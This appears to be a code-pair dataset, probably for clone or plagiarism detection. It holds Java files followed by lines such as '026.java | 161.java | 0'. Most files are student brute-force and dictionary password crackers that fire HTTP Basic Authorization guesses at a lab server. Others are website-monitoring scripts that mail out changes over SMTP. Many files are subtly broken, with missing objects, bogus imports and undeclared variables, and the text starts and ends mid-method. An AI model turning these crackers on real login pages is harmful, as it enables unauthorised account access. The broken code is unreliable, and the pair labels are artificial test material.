if(connection.getResponseCode() == 200){
System.out.println("Password Found " +let1);
return true;
}
connection.disconnect();
for(j=0; j<String.valueOf(letter).length(); j++) {
let2 = let1 + letter[j];
usrNamePwd = usrName +":"+ let2;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty("Authorization", " " + encoding);
if(connection.getResponseCode() == 200){
System.out.println("Password Found " +let2);
return true;
}
connection.disconnect();
System.out.println(let2);
for(k=0; k<String.valueOf(letter).length(); k++) {
let3 = let2 + letter[k];
usrNamePwd = usrName +":"+ let3;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty("Authorization", " " + encoding);
if(connection.getResponseCode() == 200){
System.out.println("Password Found " +let3);
return true;
}
connection.disconnect();
System.out.println(let3);
}
}
}
System.out.println("Password not found" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
026.java | 161.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
public class ScheduleTask extends Thread
{
private int flag=0,count1=0,count2=0;
private Vector change;
public ScheduleTask(Vector init)
{
try
{
Runtime run = Runtime.getRuntime();
String command_line = "lynx http://yallara.cs.rmit.edu./~/index.html -dump";
Process result = run.exec(command_line);
BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));
String inputLine;
Vector newVector = new Vector();
change = new Vector();
while ((inputLine = in.readLine()) != null)
{
newVector.addElement(inputLine);
}
if(init.size()>newVector.size())
{
for(int k=0;k<newVector.size();k++)
{
if(!newVector.elementAt(k).toString().equals(init.elementAt(k).toString()))
change.addElement((Object)newVector.elementAt(k));
count1=k;
}
for(int j=count1+1;j<init.size();j++)
{
if(init.elementAt(j)!=null)
change.addElement((Object)init.elementAt(j));
else
break;
}
}
else if(init.size()<=newVector.size())
{
for(int l=0;l<init.size();l++)
{
if(!init.elementAt(l).toString().equals(newVector.elementAt(l).toString()))
change.addElement((Object)newVector.elementAt(l));
count2=l;
}
for(int j=count2+1;j<newVector.size();j++)
{
if(newVector.elementAt(j)!=null)
change.addElement((Object)newVector.elementAt(j));
else
break;
}
}
if(!newVector.equals(init))
{
Email aEmail = new Email(change);
aEmail.send();
sleep(1000*60*24);
flag=1;
}
}
catch(Exception e)
{
System.out.println(e);
}
}
public int getFlag()
{
return(flag);
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
238.java | 161.java | 0 |
import java.util.*;
import java.io.*;
import java.net.*;
class BruteForce
{
public static void main (String a[])
{
final char [] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'};
String pwd="";
for(int i=0;i<52;i++)
{
for(int j=0;j<52;j++)
{
for(int k=0;k<52;k++)
{
pwd = alphabet[i]+""+alphabet[j]+""+alphabet[k];
String userPassword = ":"+pwd;
RealThread myTh = new RealThread(i,userPassword);
Thread th = new Thread( myTh );
th.start();
try
{
th.sleep(100);
}
catch(Exception e)
{}
}
}
}
}
}
class RealThread implements Runnable
{
private int num;
private URL url;
private HttpURLConnection uc =null;
private String userPassword;
private int responseCode = 100;
public RealThread (int i, String userPassword)
{
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
}
catch(Exception ex1)
{
}
num = i;
this.userPassword = userPassword;
}
public int getResponseCode()
{
return this.responseCode;
}
public void run()
{
try
{
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
uc = (HttpURLConnection)url.openConnection();
uc.setRequestProperty ("Authorization", " " + encoding);
System.out.println("Reponse = "+uc.getResponseCode()+"for pwd = "+userPassword);
this.responseCode = uc.getResponseCode();
if(uc.getResponseCode()==200)
{
System.out.println(" ======= Password Found : "+userPassword+" ========================================= ");
System.exit(0);
}
}
catch (Exception e) {
System.out.println("Could not execute Thread "+num+" ");
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
190.java | 161.java | 0 |
import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;
public class Dictionary
{
private URL url;
private HttpURLConnection connection ;
private int stopTime = 0;
private int startTime = 0;
private int count = 0;
public Dictionary()
{
System.out.println("Process is running...");
startTime = System.currentTimeMillis();
findWords();
}
public static void main(String args[])
{
Dictionary sc = new Dictionary();
}
public void findWords()
{
try
{
BufferedReader input = new BufferedReader(new FileReader ("words"));
String text;
while ((text = input.readLine()) != null)
{
if ((text.length() == 3) || (text.length() == 2))
{
count++;
decision(text);
}
}
}
catch (IOException io)
{
System.out.println("File Error: " + io.getMessage());
}
}
public void decision(String s1)
{
if (find(s1) == 200)
{
stopTime = System.currentTimeMillis();
runTime = stopTime - startTime;
System.out.println("***************************************");
System.out.println("\nAttack successfully");
System.out.println("\nPassword is: " + s1);
System.out.println("\nThe contents of the Web site: ");
displayContent(s1);
System.out.println("\nTime taken crack: " + runTime + " millisecond");
System.out.println("\nNumber of attempts: " + count);
System.out.println();
System.exit(0);
}
}
public int find(String s1)
{
int responseCode = 0;
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1));
responseCode = connection.getResponseCode();
}catch (Exception e)
{
System.out.println(e.getMessage());
}
return responseCode;
}
public void displayContent(String pw)
{
BufferedReader bw = null ;
try
{
url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw));
InputStream stream = (InputStream)(connection.getContent());
if (stream != null)
{
InputStreamReader reader = new InputStreamReader (stream);
bw = new BufferedReader (reader);
String line;
while ((line = bw.readLine()) != null)
{
System.out.println(line);
}
}
}
catch (IOException e)
{
System.out.println(e.getMessage());
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
222.java | 161.java | 0 |
import java.net.*;
import java.io.*;
public class Base64Encoder
{
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
public static String encode (String string)
{
String encodedString = "";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length)
{
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length)
{
b2 = 0;
b3 = 0;
pad = 2;
}
else
{
b2 = bytes [i++];
if (i >= bytes.length)
{
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad)
{
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += "=";
break;
case 2:
encodedString += "==";
break;
}
}
return encodedString;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
016.java | 161.java | 0 |
import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;
public class PasswordCombination
{
private int pwdCounter = 0;
private int startTime;
private String str1,str2,str3;
private String url = "http://sec-crack.cs.rmit.edu./SEC/2/";
private String loginPwd;
private String[] password;
private HoldSharedData data;
private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m',
'n','o','p','q','r','s','t','u','v','w','x','y','z'};
public PasswordCombination()
{
System.out.println("Programmed by for INTE1070 Assignment 2");
String input = JOptionPane.showInputDialog( "Enter number of threads" );
if( input == null )
System.exit(0);
int numOfConnections = Integer.parseInt( input );
startTime = System.currentTimeMillis();
int pwdCounter = 52*52*52 + 52*52 + 52;
password = new String[pwdCounter];
loadPasswords();
System.out.println( "Total Number of Passwords: " + pwdCounter );
createConnectionThread( numOfConnections );
}
private void doPwdCombination()
{
for( int i = 0; i < 52; i ++ )
{
str1 = "" + chars[i];
password[pwdCounter++] = "" + chars[i];
System.err.print( str1 + " | " );
for( int j = 0; j < 52; j ++ )
{
str2 = str1 + chars[j];
password[pwdCounter++] = str1 + chars[j];
for( int k = 0; k < 52; k ++ )
{
str3 = str2 + chars[k];
password[pwdCounter++] = str2 + chars[k];
}
}
}
}
private void loadPasswords( )
{
FileReader fRead;
BufferedReader buf;
String line = null;
String fileName = "words";
try
{
fRead = new FileReader( fileName );
buf = new BufferedReader(fRead);
while((line = buf.readLine( )) != null)
{
password[pwdCounter++] = line;
}
}
catch(FileNotFoundException e)
{
System.err.println("File not found: " + fileName);
}
catch(IOException ioe)
{
System.err.println("IO Error " + ioe);
}
}
private void createConnectionThread( int input )
{
data = new HoldSharedData( startTime, password, pwdCounter );
int numOfThreads = input;
int batch = pwdCounter/numOfThreads + 1;
numOfThreads = pwdCounter/batch + 1;
System.out.println("Number of Connection Threads Used=" + numOfThreads);
ConnectionThread[] connThread = new ConnectionThread[numOfThreads];
for( int index = 0; index < numOfThreads; index ++ )
{
connThread[index] = new ConnectionThread( url, index, batch, data );
connThread[index].conn();
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
102.java | 161.java | 0 |
import java.net.*;
import java.io.*;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.IOException;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.util.*;
import java.*;
public class Dictionary {
public static void main(String[] args) throws Exception {
String pass;
int attempt = 0;
String fileName = "words.txt", line;
BufferedReader reader;
Dictionary dict = new Dictionary();
boolean flag=false;
System.out.println(System.currentTimeMillis()/1000);
try{
reader = new BufferedReader(new InputStreamReader(new FileInputStream(fileName)));
while (!flag)
{
try{
line = reader.readLine();
attempt++;
URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/");
URLConnection yc = url.openConnection();
pass = ":" + line;
String password = new url.misc.BASE64Encoder().encode(pass.getBytes());
yc.setRequestProperty("Authorization"," "+password);
BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
System.out.println(inputLine);
in.close();
System.out.println(pass);
flag=true;
System.out.println(System.currentTimeMillis()/1000);
System.out.println(" of attempt: "+attempt);
System.exit(0);
}catch(IOException e){
}
}
}catch(FileNotFoundException e){
System.out.println("File not found");
}
}
} |
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
198.java | 161.java | 0 |
import java.*;
import java.io.*;
import java.util.*;
import java.net.*;
public class WatchDog
{
public static void main(String[] args) throws IOException
{
sleepTime = 24*1000*60*60;
WatchDog wd=new WatchDog();
wd.doWget();
wd.doThreads(sleepTime);
}
public void doThreads(int sleepTime)
{
new MyThread("thread",sleepTime).start();
}
public void doWget()
{
Process p;
Runtime rt=Runtime.getRuntime();
try
{
p=rt.exec("wget -O test0.html http://www.cs.rmit.edu./students/");
p.destroy();
}catch(IOException ioe)
{System.out.println(ioe);}
catch(NullPointerException npe)
{System.out.println(npe);}
}
}
class MyThread extends Thread
{
private int sleepTime;
private int times;
private Process p;
public MyThread (String str, int s)
{
super(str);
times=1;
sleepTime=s;
}
public void run()
{
Runtime rt=Runtime.getRuntime();
char flags='1';
String[] differents=new String[2000];
int k,lineNum,diffNum;
boolean isDiff=false;
String result="result\n";
for(int i=0;i<times;i++)
{
try{
sleep(sleepTime);
}
catch(InterruptedException e)
{}
try{
p=rt.exec("wget -O "+flags+".html http://www.cs.rmit.edu./students/");
p.destroy();
flags++;
}
catch(IOException ioe)
{System.out.println(ioe);}
catch(NullPointerException npe)
{System.out.println(npe);}
try
{
File f = new File (""+(char)((int)flags-1)+".html");
File f1 = new File (""+(char)((int)flags-2)+".html");
FileReader fin = new FileReader (f);
BufferedReader buf = new BufferedReader(fin);
FileReader fin1 = new FileReader (f1);
BufferedReader buf1 = new BufferedReader(fin1);
String line="000";
String line1="000";
k=0;lineNum=1;diffNum=0;
{
if(line.compareTo(line1)!=0)
{
differents[k]="line #"+lineNum+": "+line+" <---> "+line1;
k++;
isDiff=true;
}
line=buf.readLine();
line1=buf1.readLine();
lineNum++;
diffNum=k;
if(diffNum==2000)
{
System.out.println(" many differents store!");
System.exit(1);
}
}while(line!=null&&line1!=null);
if(isDiff)
{
try
{
File diffFile=new File("differents"+(char)((int)flags-2)+".txt");
FileWriter fw = new FileWriter (diffFile);
for(int j=0;j<diffNum;j++)
result+=differents[j]+'\n';
fw.write (result, 0, result.length());
fw.close ();
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found2"+exc);
} catch (IOException exc) {
System.out.println ("IOException 1");
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
}
try
{
Socket sk=new Socket("yallara.cs.rmit.edu.",25);
InputStreamReader input=new InputStreamReader(sk.getInputStream());
System.out.println(new BufferedReader(input).readLine());
PrintStream output=new PrintStream(sk.getOutputStream());
output.print("HELO mail.nowhere.\r\n");
System.out.println(new BufferedReader(input).readLine());
output.print("MAIL FROM:@cs.rmit.edu.\r\n");
System.out.println(new BufferedReader(input).readLine());
output.print("RCPT :@cs.rmit.edu.\r\n");
System.out.println(new BufferedReader(input).readLine());
output.print("DATA\r\n");
System.out.println(new BufferedReader(input).readLine());
output.print(result+"\r\n");
output.print(".\r\n");
sk.close();
} catch (IOException exc) {
System.out.println ("IOException 3"+exc);
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
}
}
} catch (FileNotFoundException exc) {
System.out.println ("File Not Found3"+exc);
} catch (IOException exc) {
System.out.println ("IOException 1");
} catch (NullPointerException exc) {
System.out.println ("NullPointerException");
}
}
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
120.java | 161.java | 0 |
public class PasswordGen {
private int iLastSeed = 0;
private int iPasswordLength = 3;
private String strPassword;
public PasswordGen() {
strPassword = "";
}
public boolean setSeed(int iSeedVal) {
iLastSeed = iSeedVal;
return true;
}
public String getPassword() {
return strPassword;
}
public String getPassword(int iSeed) {
int iRemainder, iAliquot, i;
int arrChars[];
boolean fDone;
arrChars = new int[iPasswordLength];
for(i = 0; i<iPasswordLength; i++)
arrChars[i] = 0;
fDone = false;
iAliquot = iSeed;
i=0;
while(!fDone) {
iRemainder = iAliquot % 52;
if(iRemainder == 0) iRemainder=52;
iAliquot = iAliquot / 52;
arrChars[i] = iRemainder;
if(i<iPasswordLength) i++;
if(iAliquot == 0)
fDone = true;
}
strPassword = convertPassword(arrChars);
return strPassword;
}
public String getNextPassword() {
iLastSeed++;
strPassword = getPassword(iLastSeed);
return strPassword;
}
private String convertPassword(int[] chars) {
String strPwd;
int i;
strPwd = "";
for(i=0; i<iPasswordLength; i++)
{
if(chars[i] != 0)
{
if (chars[i] < 27)
{
strPwd += new Character((char)(chars[i]+64)).toString();
}
else
{
strPwd += new Character((char)(chars[i]+70)).toString();
}
}
}
return strPwd;
}
}
|
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary {
public static void main(String args[])
{
int i,j,k;
String pass = new String();
String UserPass = new String();
String status = new String();
String status1 = new String();
BasicAuth auth = new BasicAuth();
URLConnection connect;
int start,end,diff;
try {
URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");
start =System.currentTimeMillis();
BufferedReader dis = new BufferedReader(new FileReader("words"));
while ((pass = dis.readLine()) != null)
{
UserPass= auth.encode("",pass);
connect = url.openConnection();
connect.setDoInput(true);
connect.setDoOutput(true);
connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
connect.setRequestProperty("Authorization"," " + UserPass);
connect.connect();
status =connect.getHeaderField(0);
status1 = status.substring( 9,12);
if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
{
System.out.println("Password is " + pass);
end=System.currentTimeMillis();
diff = end - start;
System.out.println("Time Taken = " + (diff/1000) + " secs");
System.exit(0);
}
((HttpURLConnection)connect).disconnect();
connect = null;
}
System.out.println(" match found");
dis.close();
dis=null;
connect = null;
}
catch (MalformedURLException malerr)
{
System.err.println("Unable Open URL" + malerr);
}
catch (Exception ioerr)
{
System.err.println("Unable open file" + ioerr);
}
}
} |
079.java | 161.java | 0 | import java.util.*;
import java.net.*;
import java.io.*;
public class Dictionary
{
boolean connected = false;
int counter;
Vector words = new Vector();
Dictionary()
{
counter = 0;
this.readWords();
this.startAttack();
}
public void startAttack()
{
while(counter<this.words.size())
{
connected = sendRequest();
if(connected == true)
{
System.out.print("The password is: ");
System.out.println((String)words.elementAt(counter-1));
counter = words.size();
}
}
}
public void readWords()
{
String line;
try
{
BufferedReader buffer = new BufferedReader(
new FileReader("/usr/share/lib/dict/words"));
line = buffer.readLine();
while(line != null)
{
if(line.length() <= 3)
{
words.addElement(line);
}
line = buffer.readLine();
}
}
catch(IOException e){}
}
public boolean sendRequest()
{
